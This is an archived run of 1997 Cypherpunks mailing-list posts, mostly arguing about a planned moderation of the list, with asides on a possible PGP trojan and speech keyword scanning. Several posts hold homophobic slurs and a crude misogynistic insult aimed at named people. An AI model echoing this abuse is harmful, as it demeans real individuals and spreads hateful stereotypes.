Message-ID: <32E1CFCB.49DF@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:
> Vulis wrote:
> > > steal blankets from nearby passenger..

> > I once saw a movie where they had a heroin (or cocaine?) processing lab

>      Crack processing lab. Star'd (IIRC) Ice-T as a Cop.

The other star/badguy, if I remember correctly, was Wesley Snipes.
Wes bought one of my text databases at the bookstore in Santa Monica,
then found he couldn't run the programs on his Macintosh computer.

There is truly no hope.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Anonymous)
Date: Sat, 18 Jan 1997 14:41:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Concerned about Pretty Safe Mail for Mac
Message-ID: <199701182241.XAA29079@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


  I'm concerned about the product "Pretty Safe Mail" for the Macintosh,
by a company called Highware. I was wondering whether anyone here had
tried evaluating it at all.

  It is a complete PGP implementation (not a front-end). They claim
to have licensed some of PRZ's code from PGP. However, as far as I
can tell, they are not making any of the source code available.

  As someone on the comp.security.pgp newsgroups pointed out, writing
a wonderful user interface on a PGP trojan horse that either crippled
the session key generator or used the session key to leak random
portions of secret key primes would be a perfect tactic for a
government wishing to penetrate PGP security. With such a great
interface, compared to the original PGP, it can't help but become
widely used.

  I realize that without the source code, it's a major hassle, but
has anyone looked at Pretty Safe Mail (previously called Safemail)
at all for suspicious behavior? For example:

  1) non-random session key generation?
  2) non-random key pair generation?
  3) unnecessary disk access to secret keys?
  4) anything else?

  Any findings, positive or negative, would be appreciated.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 18 Jan 1997 23:46:13 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfart suck big dicks]
In-Reply-To: <199701190627.AAA00288@smoke.suba.com>
Message-ID: <32E1D130.3F52@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:
> Mr. Thorn said:
> > Here's a problem.  I don't have "technical" capabilities in the area of
> > communications software, and I have too full a plate to start studying
> > now.  But, I/we need to monitor the "moderator", to make sure he doesn't
> > allow people to attack others, then cut the responses.
>    <snip>
> > In other words, can I separate the censored email without having to
> > have two accounts? 
> Subscribe to unfiltered + flames. Anything that shows up twice was "filtered".
> Subscribe to unfiltered + flames and then filter all mail from flames
> to a seperate "folder" to check at your leasure.

I'm already getting multiple copies of messages I can't account for.
The frequency and number seem to be random, and I'm not counting
forwarded stuff.  Take the posts from the most "trusted" people.
Subtract out any personal cc's, account for additional lists subscribed
to, compare for similar (but not identical) posts, and still the
numbers don't add up.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AIDAS <aidas@ixsrs4.ix.netcom.com>
Date: Sat, 18 Jan 1997 21:48:14 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <32E1841B.37C7@gte.net>
Message-ID: <Pine.LNX.3.95.970118234543.9437A-100000@ixsrs4.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 18 Jan 1997, Dale Thorn wrote:

> > Or you're not capable of providing one. I think you reached your wit's end
> > a long time past.
> 
> Could AIDAS also be LOGOS (Sandy)?  

Not last I checked.

> All of these are five characters
> long.  

Very perceptive.

>Coincidence?

Yes.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 18 Jan 1997 21:00:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
In-Reply-To: <199701190210.UAA04384@manifold.algebra.com>
Message-ID: <5ZHR1D53w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> Prof. Dale Thorn wrote:
> > When you have the resources to run a coke lab, your employees *can*
> > be all good-looking women [hee hee].  So, to avoid the ugly-naked
> > passenger syndrome, stick mainly to business flights in certain areas,
> > or flights to exclusive resorts, etc.
>
> Do not forget that it is possible to have good looking women w/o the
> resources needed for a coke lab. In fact, totally different resources
> are important.

Time to create "Nudist Airlines" - the most secure airline in the air!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 18 Jan 1997 23:58:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Enough is Never Enough -- pro-CDA alliances, from TNNN
In-Reply-To: <01BC0596.F925F960@bcdev.com>
Message-ID: <32E1D3F8.3A33@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dale wrote:
> > This Donna Rice-Hughes couldn't possibly be the Donna Rice who sat on
> > Gary Hart's lap for the famous picture, could she?

> But of course... she was emotionally traumatized by the who experience
> (or some such line) and is now 'reformed'.  The mind boggles.

I've gotten several confirmations on this, and no negatives, so....

What I remember is that Hart and Schweiker were on one of the intel
committees in the early 1970's, working more-or-less side by side with
Frank Church et al, uncovering the real dirty laundry of the CIA and
its infiltration of nearly every college and important business and
media in the USA.  Hart's minor spillage to the press must have pissed
someone off, so they got the famous picture with Rice in all the papers,
and Hart's presidential bid went right down the toilet.

Now this same girl is on the righteous team, like Chuckie Colson?
Yeah, I believe it.  My you-know-what is starting to pucker up.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Sat, 18 Jan 1997 21:04:33 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Airport security [no such thing]
In-Reply-To: <B9Jq1D4w165w@bwalk.dm.com>
Message-ID: <Pine.SOL.3.93.970118233859.4391A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> 
> > On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> >
> > > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> > >
> > > > On Fri, 17 Jan 1997, Dale Thorn wrote:
> > > >
> > > > > Dr.Dimitri Vulis KOTM wrote:
> > > > > > snow <snow@smoke.suba.com> writes:
> > > > > > > > I say we make people fly naked and ship their stuff via UPS ;).
> > > > >
> > > > > > >     >>shudder<<
> > > > > > >     No!. A clear case of the cure being worse than the disease...
> > > > >
> > > > > > Why. it might be fun - those long flight can be so boring with clothe
> > > > >
> > > > > This one I really don't understand.  Cypherpunks lobbied heavily for
> > > > > the Final Solution to Spamming and flaming, now along comes the perfect
> > > > > solution to the airport security problem, and nobody's gonna go for it.
> > > > >
> > > > > Guess those old, out-of-shape guys don't want anybody laughing at them.
> > > > > Besides, they can put all the clothes in the same plane's baggage
> > > > > compartment.  And planes have those little blankets and pillows,
> > > > > so what's the problem?
> > > >
> > > > 	Cold temps...
> > >
> > > What can naked people do to keep warm???
> >
> > 	steal blankets from nearby passenger..
> 
> I once saw a movie where they had a heroin (or cocaine?) processing lab
> and everybody was supposed to work naked so it would be hard to steal
> some of the product. Of course in the movie all the employees were good-
> looking women (Oksas would have been the big star!).

	Thank you for the complement;  You've only seen me with clothes :)
	Would you like to share my blanket?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sat, 18 Jan 1997 21:57:40 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Airport security [no such thing]
In-Reply-To: <B9Jq1D4w165w@bwalk.dm.com>
Message-ID: <199701190614.AAA00241@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Vulis wrote:
> > 	steal blankets from nearby passenger..
> I once saw a movie where they had a heroin (or cocaine?) processing lab

     Crack processing lab. Star'd (IIRC) Ice-T as a Cop. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sat, 18 Jan 1997 22:10:50 -0800 (PST)
To: dthorn@gte.net (Dale Thorn)
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfart suck big dicks]
In-Reply-To: <32E16634.3BC6@gte.net>
Message-ID: <199701190627.AAA00288@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Mr. Thorn said:
> Here's a problem.  I don't have "technical" capabilities in the area of
> communications software, and I have too full a plate to start studying
> now.  But, I/we need to monitor the "moderator", to make sure he doesn't
> allow people to attack others, then cut the responses.
   <snip> 
> In other words, can I separate the censored email without having to
> have two accounts?

     Subscribe to unfiltered + flames. Anything that shows up twice was 
"filtered".

     Subscribe to unfiltered + flames and then filter all mail from flames
to a seperate "folder" to check at your leasure.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amanda@intercon.com (Amanda Walker)
Date: Sat, 18 Jan 1997 21:59:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Wow.
Message-ID: <199701190558.AAA20187@mail.intercon.com>
MIME-Version: 1.0
Content-Type: text/plain


Well, in the week or two since resubscribing to Cypherpunks, I've seen a
trickle of postings about cryptography, security, and privacy, and a flood
of insults, harangues, fighting words, and so on.  Some of this reads more
like a script from a Jerry Falwell TV spot than anything I recognize as
"Cypherpunk" traffic.

I don't care who's offended whom.  I'm not interested in participating in a
forum where the supposed topic is submerged underneath a lot of adolescent
alpha primate chest-beating.

I'm off to look for a mailing list where people are ACTUALLY DISCUSSING
CRYPTOGRAPHY AND IMPLEMENTING CRYPTOSYSTEMS.  This list may still be
called "cypherpunks", but it doesn't have much cypherpunk left in it, as
far as I can tell.

Disgusted,

Amanda Walker
Senior Software Engineer
InterCon Systems Corporation




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Diode <diode@www.diode.com>
Date: Sun, 19 Jan 1997 00:06:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Internet Message
Message-ID: <199701190905.BAA13631@www.diode.com>
MIME-Version: 1.0
Content-Type: text/plain


Saw your posting thought you might be interested...

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visit the site you have been hearing about...    

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sun, 19 Jan 1997 01:40:57 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Sandy and the Doc
In-Reply-To: <32E1BBD9.6A0C@gte.net>
Message-ID: <Pine.SUN.3.91.970119011900.13146D-100000@crl13.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sat, 18 Jan 1997, Dale Thorn wrote:

> Do we now have to have occasional assurances that the "unedited" list
> is not being restrained?  I thought that was a given, beyond question
> of any kind.  I thought *all* of the controversy revolved around the
> edited/censored list (having stole the original list's name), and that
> everyone understood that the uncensored list was untouchable.  But now
> Sandy is taken to offering reassurances.  What's next??
> 
> 
Dale, don't be such an ass.  If "everyone understood that the 
uncensored (sic) list was untouchable" then why have you and
others continued to challenge that proposition.  You have put
forward the classic heads-I-win-tails-you-lose logical fallacy.
If I say nothing to support the proposition you whine about a
"hidden agenda."  If I reaffirm my commitment to the plan, you
spout pop psychological nonsense of the "the lady doth protest
too much variety."  Which is it, Dale?  You are so transparent.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 19 Jan 1997 08:37:09 -0800 (PST)
To: dthorn@gte.net (Dale Thorn)
Subject: Re: Sandy and the Doc
In-Reply-To: <32E1BBD9.6A0C@gte.net>
Message-ID: <199701190816.CAA00492@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> 
> Sandy Sandfort wrote:
> > On Sat, 18 Jan 1997, Toto wrote:
> > >  I am finding it hard to understand how the same people who
> > > seemed dedicated to silencing Dr. DV K on this list can
> > > then turn around and 'correct' him, or 'add to' his comments,
> > > or 'one-up' him in the insult department.
> 
> > Correcting is not an insult.  His statement was incorrect or
> > incomplete.  I corrected it.  His comment was on topic, though
> > in error.  My correction was on topic.  He was not "silenced" in
> > any way.  Toto's proposition, therefore, does not make sense to me.
> > Contrary to several peoples erroneous assumptions, there will be
> > no flaming--of anyone--on the moderated list.  When moderation is
> > under weigh, I will do nothing to restrain flaming on the flame
> > and unedited lists.  Toto's prejudice (in the literal sense of the
> > word, i.e., "to pre-judge") is showing.
> 
> Please don't get the wrong idea, that I'm paranoid or something, but
> I think I just saw a tiny leak, a miniscule Freudian slip of sorts -
> Sandy says "I will do nothing to restrain ..... the unedited list...".
> 
> Do we now have to have occasional assurances that the "unedited" list
> is not being restrained?  I thought that was a given, beyond question
> of any kind.  I thought *all* of the controversy revolved around the
> edited/censored list (having stole the original list's name), and that
> everyone understood that the uncensored list was untouchable.  But now
> Sandy is taken to offering reassurances.  What's next??
> 

I am getting tired now, but here is a proposed solution. You suspect
Prof. Sandfort in an intention to edit "unedited" list. You do not trust
administrators of toad.com. 

I hope though that there are people whom you somewhat trust.

If you trust me, or someone else, like Prof. Dave Hayes, here's what
we can do: I establish a sendmail alias cypherpunks@algebra.com that
expands to, say, your address and also cypherpunks@toad.com.

You can encourage all people, whom you expect to be censored on the
unedited list, to post through cypherpunks@algebra.com. I can even set 
up a little program that would digitally sign receipts of all messages
coming to cypherpunks@algebra.com. You and anyone else can receive such 
receipts.

It means that you, Dale Thorn, in cooperation with other readers but
WITHOUT cooperation from toad.com, will be able to see which articles
sent through algebra.com finally made it to the unedited list. Not all
posters will use such service, but you can expect the "censored" people
to do so.

If you indeed notice an impropriety, the digitally signed receipts
will be your proof that articles were submitted. As long as the
other readers trust me (or Dave Hayes, or whoever volunteers), you 
will have a strong case even without relying on freudian slips.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John C. Randolph" <jcr@idiom.com>
Date: Sun, 19 Jan 1997 03:31:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Donna Rice, etc.
Message-ID: <199701191131.DAA29955@idiom.com>
MIME-Version: 1.0
Content-Type: text/plain



Toto wrote:
> Sir Robin of Locksley wrote:
> > > Donna Rice-Hughes from Enough is Enough says: "It discusses
> > > three primary areas of our concern: letting the court know the
> > > problems on the Internet. Adult pornography, indecency, and
> > > child porn as well.

> > Now it's porn, tomorrow it's you saying what you beleive (that
> > might also be the truth...) If one is offended by something,
> > don't look! How come Catholicism doesn't get banned and outlawed?
> > Hell, it offends me...

>I didn't see the question anywhere, so I'm asking:

>This Donna Rice-Hughes couldn't possibly be the Donna Rice who sat on
>Gary Hart's lap for the famous picture, could she?

Yes, it's the very same Bimbo who scuttled Gary Hart's campaign, and then
parlayed that notoriety into a modeling contract.. Mind you, I'm
all for Bimbos knocking dipshit hypocrites out of the running for a 
presidential nomination, but the idea of having this "party girl" try to 
police the content of my beloved internet really pisses me off.

She made money in the past wiggling her tits for the camera, and again,
I'm all for bimbos making money wiggling for cameras, but when she tries
to tell me what I should or shouldn't be able to see, my reply *must* be:

	Fuck you, you hypocritical, ignorant, little slut.

I am also going to take issue with her trysting with a married man.  I wish
Hart's wife had verbally beaten the living shit out of her.

-jcr

Obligatory Crypto Policy reference: Why couldn't she have scuttled 
Feurher Clinton's career, instead?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz
Date: Sat, 18 Jan 1997 06:34:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Keyword scanning/speech recognition
Message-ID: <85359805820229@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


I was talking to someone recently about the feasibilty of keyword-scanning
phone conversations.  He thought it was probably still beyond the reach of
current technology, I thought it wasn't (I gave a couple of references in a
recent paper on government attitudes to crypto which indicate that it's being
used right now by a number of governments).  Anyway, I've got bits and pieces
of one or two papers here which people might find interesting.  The first one
is:
 
  "Digital Circuit Techniques for Speech Analysis" by G.L.Clapper, presented at
   the AIEE Winter General Meeting in January 1962.
 
I've only got the first two pages of the paper here, I think the full thing
might have been published in the IEEE Trans.Communications in about 1963.  This
paper mentions a "digit recognizer" built at Bell Labs in 1952, and a Japanese
voice-operated typewriter using 3,000 transistors and 6,000 diodes.  The paper
goes on to describe a means of producing a "compact digital code expressing
significant qualities of speech in a form suitable for machine utilization".
This was in 1962!
 
A more recent paper is:
 
  "Discrete Utterance Speech Recognition without Time Alignment", John Shore
   and David Burton, IEEE Trans.Information Theory, Vol.29, No.4 (July 1983),
   p.473.
 
This generates a feature vector every 10-30ms from input speech which is
compared to pre-generated reference sequences.  It also has references to many
other papers covering the same area.
 
Certainly it appears that by the early 1980's it was possible to scan speech
for keywords and/or speakers and use this to target the surrounding
conversation, and that early work on this had been done since about 1960.  This
is all from public sources, since certain organisations have a *far* greater
interest in this particular area than anyone performing public research it's
likely that equivalent classified research was some way ahead of this.
 
Peter.
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 19 Jan 1997 03:14:25 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Sandy and the Doc
In-Reply-To: <Pine.SUN.3.91.970118201607.10538D-100000@crl10.crl.com>
Message-ID: <32E2155C.A65@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort wrote:
> 
> Correcting is not an insult.

  My post did not say it was, and did not suggest that you 
insulted Dr. DV K in your post.

>  He was not "silenced" in any way.  Toto's proposition, 
>  therefore, does not make sense to me.

  If being forcefully unsubscribed 'does not count' as an
attempt to silence someone, then I suppose that neither does
shipping them to a labor camp in Siberia.

> Toto's prejudice (in the literal sense of the
> word, i.e., "to pre-judge") is showing.

  If you are going to define the words you are using, then
perhaps you should define them a little more specifically
and back them up with specifics, rather than use them as
out-of-context, vague declarations.
  Black's Law Dictionary defines 'prejudice' as: A forejudgment;
A leaning towards one side of a cause for some reason other
than a conviction of its justice.

  My post did not make a judgement as to the integrity of
your (or anyone's) future moderation of this list, but 
expressed concern in relation to the attitudes toward 
moderation, based on the postings that have already taken 
place on this list.
  (You're toast, punk. / Your end is drawing near, asshole. 
etc., etc., etc.)
  Until I see some indication, other than vague assurances,
that there is, in fact, some established rational behind 
the way the moderation process will be implemented, my 
concerns will remain.

  As far as figuring out, to everyone's satisfaction, just
what constitues a 'flame', good luck, since everyone seems
to have a different definition.
  Vague, unsubstatiated claims of someone's 'prejudice' might be
considered by some to be a flame, or simply regarded as 
'misjudgement' by others.  
  Personally, I have no problem with someone telling me "You're 
full of shit.", rather than, "Sir, I believe you are in 
error."  Others, having played less hockey, might have 
gentler sensibilities.
  DataETRetch seemed to feel terribly put-upon and personally
attacked by various CypherPunks being so brazenly outspoken as
to simply ask for some basis of verification for the outlandish
claims they were making for their software.  Their representative
openly accused the CypherPunks of 'flaming' him for raising valid
concerns about the technical nature of their software.

  There certainly seem to be more than a few people who have
faith in your capacity to be a decent moderator, and I see
no great reason to disagree with them, but it bothers me
that you would take my statement of my concerns, and my
reasons behind them, to be a personally biased pre-judgement
of your integrity.
  I find it bothersome that some of the self-proclaimed
'upstanding' members of the CypherPunks list have responded
to my attacks on their 'logic' with 'personal' attacks on,
and insults toward, myself.  At the same time, I would rather
hear what they have to say, and be able to make my own personal
judgement as to whether the problem is mine, or theirs, than
to be 'protected' from them.

  I hope that your efforts towards decreasing the list's level
of blatantly offensive crapola will not lead towards reducing
the CypherPunks' tendencies to be outspokenly strong in their
convictions.
  Cryptography is going to be an increasingly important issue
in all areas of life in our electronically-global future, and
without serious discussion of the issues that go hand-in-hand
with its development, then the 'numbers' and the technology
behind them have little real meaning.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Sat, 18 Jan 1997 20:34:30 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfart suck big dicks]
In-Reply-To: <199701190213.UAA04414@manifold.algebra.com>
Message-ID: <19970119043828.28200.qmail@taz.nceye.net>
MIME-Version: 1.0
Content-Type: text/plain


   Delivered-To: reece-cpunks@taz.nceye.net
   Delivered-To: reece@taz.nceye.net
   Date: Sat, 18 Jan 1997 20:13:00 -0600 (CST)
   Cc: dlv@bwalk.dm.com, cypherpunks@toad.com, freedom-knights@jetcafe.org
   Reply-To: ichudov@algebra.com (Igor Chudov)
   From: ichudov@algebra.com (Igor Chudov @ home)
   X-No-Archive: yes
   Organization: Bool Sheet Software
   X-Mailer: ELM [version 2.4 PL24 ME7]
   Content-Type: text
   Sender: owner-cypherpunks@toad.com
   Precedence: bulk

   Dale Thorn wrote:
   > 
   > Dr.Dimitri Vulis KOTM wrote:
   > > Someone wrote to me:
   > > >Did you not mean any homo who has ever shaffted Gilmore and Sandy can
   > > >write what the fuck they like but straight or intelligent or NORMAL
   > > >people will have to be filtered.
   > 
   > > Yes, that's precisely how Sandfart's moderation will work. Homosexuals
   > > like Jason Durbin will continue to post personal attacks on Gilmore's
   > > many "enemies", but the victims of the libel will not be able to respond
   > > and refute their lies. The concept of "the best response to speech you
   > > don't like is more speech" is totally alien to the homosexual subculture
   > > on the Internet. These control freaks are into censorship and B&D.
   > 
   > Here's a problem.  I don't have "technical" capabilities in the area of
   > communications software, and I have too full a plate to start studying
   > now.  But, I/we need to monitor the "moderator", to make sure he doesn't
   > allow people to attack others, then cut the responses.
   > 
   > If he does this, and he doesn't rectify it when it's called to his
   > attention, he would need to be punished in some way.  One of the
   > questions I have is, how do I know what's cut when all I subscribe to
   > is the uncensored list?  I do *not* want to subscribe to the filtered
   > list plus the "flames" list, out of principle.  Is this something that
   > would be forced on me/us in order to monitor the censorship?
   > 
   > In other words, can I separate the censored email without having to
   > have two accounts?
   > 

   it is easy undex unix, what you have to do is store arriving article
   in separate directories by message ID and run diff (with certain
   corrections) on these two directories.

   diff will print you the files that are in one dir and not in another.

   take an extraction, and delete too new articles (so that propagation
   does not screw you up).

   thats it

If you just want the differences and aren't too concerned with
timeliness, I'm planning on running a cypherpunks-rejects list containing all
the messages that went out the unedited list but didn't show up on the
moderated one within x hours (not sure what x should be yet).




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Sun, 19 Jan 1997 00:02:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: I beg you, PLEASE prove that 0.123456789101112131415 is IRRATIONAL
Message-ID: <19970119064820.11000.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


Dear Cypher Punks,

I BEG YOU TO HELP ME!!!

Is it possible to prove that number 0.1234567891011121314151617181920...
iz irrational? 

Or may be it is rational?

Also, another question for math geniuses here: 

Is it REALLY true that there are real numbers that cannot be generated
by any algorithm? Some guy said that since the set of algorithms is
countable, but the set of real numbers is more than countable, there 
must be some numbers for which there is no algorithms that generate them.

But I still do not believe him.

Also, is it true that the sequence of digits in e is random because the ONLY way to get to the
p'th digit is to calculate the p-1'st digits?

Also, is it the correct definition of a real number: 

``A real number is the class of numbers which can represent the length of
an arbitrary line.''


I AM REAL DESPERATE FOR YOUR ASS ISTANCE.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sun, 19 Jan 1997 08:40:41 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Sandy and the Doc
In-Reply-To: <32E2155C.A65@sk.sympatico.ca>
Message-ID: <Pine.SUN.3.91.970119080555.11396A-100000@crl2.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sun, 19 Jan 1997, Toto wrote:

>   If you are going to define the words you are using, then
> perhaps you should define them a little more specifically
> and back them up with specifics, rather than use them as
> out-of-context, vague declarations.
>   Black's Law Dictionary defines 'prejudice' as: A forejudgment;
> A leaning towards one side of a cause for some reason other
> than a conviction of its justice.

First, I did not use it as a legal term of art, so a legal 
dictionary is not appropriate.  Second, I see no sustantive 
difference between "forejudgment" and my shorthand version 
(pre-judge).  Third, I wrote "literal."  Examine the etimology of 
the word for it's literal meaning.  It's pretty obvious AND
specific [ME.; OFr, /prejudice/ (Fr. /prejudice/); L praejudicium/,
from /prae/, before, and /judicium/, a judgment, from /judex/,
/judicgis/, a judge.]  In other words, to pre-judge.  Get it?
 
>   As far as figuring out, to everyone's satisfaction, just
> what constitues a 'flame', good luck, since everyone seems
> to have a different definition.

I have no intention nor duty to satisfy everyone.  That is not
possible.  I will use a "reasonable person" test.  (I am, by the 
way, using this in the legal term of art sense.)

>   Personally, I have no problem with someone telling me "You're 
> full of shit.", rather than, "Sir, I believe you are in 
> error."  Others, having played less hockey, might have 
> gentler sensibilities.

Other folks on this list seem to have other opinions.  That's why
there are horse races.  I don't like it, but Toto are free to 
wallow in it if he chooses.

>   I hope that your efforts towards decreasing the list's level
> of blatantly offensive crapola will not lead towards reducing
> the CypherPunks' tendencies to be outspokenly strong in their
> convictions.

Somehow, I don't think that will be a problem, as this debate 
has demonstrated.

>   Cryptography is going to be an increasingly important issue
> in all areas of life in our electronically-global future, and
> without serious discussion of the issues that go hand-in-hand
> with its development, then the 'numbers' and the technology
> behind them have little real meaning.

I totally agree with this not-full-of-shit position.  Toto and I,
unlike some others, seem to agree on the importance of crypto.
We only seem to have a problem with how best to discuss the 
issues.  It's a start.


 S a n d y

P.S.	I talked to Gilmore about the holdup in getting
	started.  He has been too busy to get the tech
	side going, but when he does, (a) everyone will
	be notifed as to the start date, and the test
	will still run for an entire month.  Until then,
	it is (sadly) business as usual.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sun, 19 Jan 1997 05:53:41 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfart suck big dicks]
In-Reply-To: <32E16634.3BC6@gte.net>
Message-ID: <Pine.LNX.3.95.970119085107.7506H-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 18 Jan 1997, Dale Thorn wrote:

> Dr.Dimitri Vulis KOTM wrote:
> > Someone wrote to me:
> > >Did you not mean any homo who has ever shaffted Gilmore and Sandy can
> > >write what the fuck they like but straight or intelligent or NORMAL
> > >people will have to be filtered.
> 
> > Yes, that's precisely how Sandfart's moderation will work. Homosexuals
> > like Jason Durbin will continue to post personal attacks on Gilmore's
> > many "enemies", but the victims of the libel will not be able to respond
> > and refute their lies. The concept of "the best response to speech you
> > don't like is more speech" is totally alien to the homosexual subculture
> > on the Internet. These control freaks are into censorship and B&D.
> 
> Here's a problem.  I don't have "technical" capabilities in the area of
> communications software, and I have too full a plate to start studying
> now.  But, I/we need to monitor the "moderator", to make sure he doesn't
> allow people to attack others, then cut the responses.
> 
> If he does this, and he doesn't rectify it when it's called to his
> attention, he would need to be punished in some way.  One of the
> questions I have is, how do I know what's cut when all I subscribe to
> is the uncensored list?  I do *not* want to subscribe to the filtered
> list plus the "flames" list, out of principle.  Is this something that
> would be forced on me/us in order to monitor the censorship?
> 
> In other words, can I separate the censored email without having to
> have two accounts?
> 
> 

You can not.  You need another account.

I wrote to Steve Case about this censorship problem, and I am waiting
for him to respond.

Do you want another account to get the censored list at?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sun, 19 Jan 1997 06:08:27 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfart suck big dicks]
In-Reply-To: <19970119043828.28200.qmail@taz.nceye.net>
Message-ID: <Pine.LNX.3.95.970119090506.7506I-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On 19 Jan 1997, Bryan Reece wrote:

>    Delivered-To: reece-cpunks@taz.nceye.net
>    Delivered-To: reece@taz.nceye.net
>    Date: Sat, 18 Jan 1997 20:13:00 -0600 (CST)
>    Cc: dlv@bwalk.dm.com, cypherpunks@toad.com, freedom-knights@jetcafe.org
>    Reply-To: ichudov@algebra.com (Igor Chudov)
>    From: ichudov@algebra.com (Igor Chudov @ home)
>    X-No-Archive: yes
>    Organization: Bool Sheet Software
>    X-Mailer: ELM [version 2.4 PL24 ME7]
>    Content-Type: text
>    Sender: owner-cypherpunks@toad.com
>    Precedence: bulk
> 
>    Dale Thorn wrote:
>    > 
>    > Dr.Dimitri Vulis KOTM wrote:
>    > > Someone wrote to me:
>    > > >Did you not mean any homo who has ever shaffted Gilmore and Sandy can
>    > > >write what the fuck they like but straight or intelligent or NORMAL
>    > > >people will have to be filtered.
>    > 
>    > > Yes, that's precisely how Sandfart's moderation will work. Homosexuals
>    > > like Jason Durbin will continue to post personal attacks on Gilmore's
>    > > many "enemies", but the victims of the libel will not be able to respond
